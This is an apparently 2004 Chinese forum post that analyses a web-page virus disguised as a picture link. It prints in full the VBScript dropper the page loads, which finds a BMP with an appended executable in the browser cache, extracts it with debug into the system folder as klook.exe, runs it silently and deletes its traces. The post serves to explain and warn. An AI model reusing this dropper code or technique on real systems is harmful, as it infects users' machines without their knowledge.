某網頁病毒淺析

看雪資料發表於2004-05-14

某日,一QQ好友給我發資訊,說正在看一幅畫,還強調沒病毒,我想把連結框起來,用網路快車下載下來看,沒想到一下子點進去了,防火牆蹦出來,問要不要讓mshta.exe訪問網路,我知道中毒了,直接禁止他,然後用網路快車下載該jpg檔案看,原來是html+javascript,找到如下可疑內容:

<img src="/images/girl.jpg" width="600" height="800">
顯示jpg影像,讓人以為此奶一MM圖片

<IMG SRC=klook.bmp width=0 height=0>
<object data="klook.ASP" width=0 height=0>
klook.bmp和klook.ASP保證有問題

於是下載klook.bmp看,確實是bmp圖,但都是亂七八糟的色塊,於是用UltraEdit開啟看,檔案頭是BMP沒錯,殼居然發現"MZ"和"PE"字樣!我明白了,他把EXE檔案貼上再BMP檔案頭的後面!

再下載klook.asp,內容如下:
<title>-</title>

<SCRIPT LANGUAGE="VBScript">
Option Explicit
Dim FSO,WSH,CACHE,str,sucess
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache")
sucess=0


 SearchBMPFile fso.GetFolder(CACHE),"klook[1].bmp"
 if sucess=0 then SearchBMPFile fso.GetFolder(CACHE),"klook[2].bmp"


Function SearchBMPFile(Folder,fname)
   Dim SubFolder,File,Lt,tmp,winsys
   str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname');
   if FSO.FileExists(str) then
      tmp=fso.GetSpecialFolder(2) & "\"
      winsys=fso.GetSpecialFolder(1) & "\"
      set File=FSO.GetFile(str)
      File.Copy(tmp & "tmp.dat")
      On Error Resume Next
      File.Delete
      if FSO.FileExists(str) then exit function
      set Lt=FSO.CreateTextFile(tmp & "tmp.in")
      Lt.WriteLine("rbx")
      Lt.WriteLine("0")
      Lt.WriteLine("rcx")
      Lt.WriteLine("2200")
      Lt.WriteLine("w136")
      Lt.WriteLine("q")
      Lt.Close
      set Lt=FSO.CreateTextFile(tmp & "tmp.bat")
      Lt.WriteLine("%40echo off")
      Lt.WriteLine(chr(100) & "ebug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out")
      Lt.WriteLine("copy " & tmp & "tmp.dat " & winsys & "klook.exe>" & tmp & "tmp.out")
      Lt.WriteLine("del " & tmp & "tmp.dat >" & tmp & "tmp.out")
      Lt.WriteLine("del " & tmp & "tmp.in >" & tmp & "tmp.out")
      Lt.WriteLine(winsys & "klook.exe")
      Lt.WriteLine("del %0")
      Lt.Close
      sucess=1
      WSH.Run tmp & "tmp.bat",false,6
      On Error Resume Next

   end if
   If Folder.SubFolders.Count <> 0 Then
      For Each SubFolder In Folder.SubFolders
         SearchBMPFile SubFolder,fname
      Next
   End If
End Function
window.close
</script>

<SCRIPT language=JavaScript>
parent.moveTo(0,0);
parent.resizeTo(0,0);
</SCRIPT>

大概是這樣的:
先建立Scripting.FileSystemObject物件和WScript.Shell物件,讀取IE臨時檔案所在地,然後搜尋下載的klook.bmp檔案,再把klook.bmp尾部附加的exe檔案放出來執行。

下次把那個exe檔案切下來反彙編一下

相關文章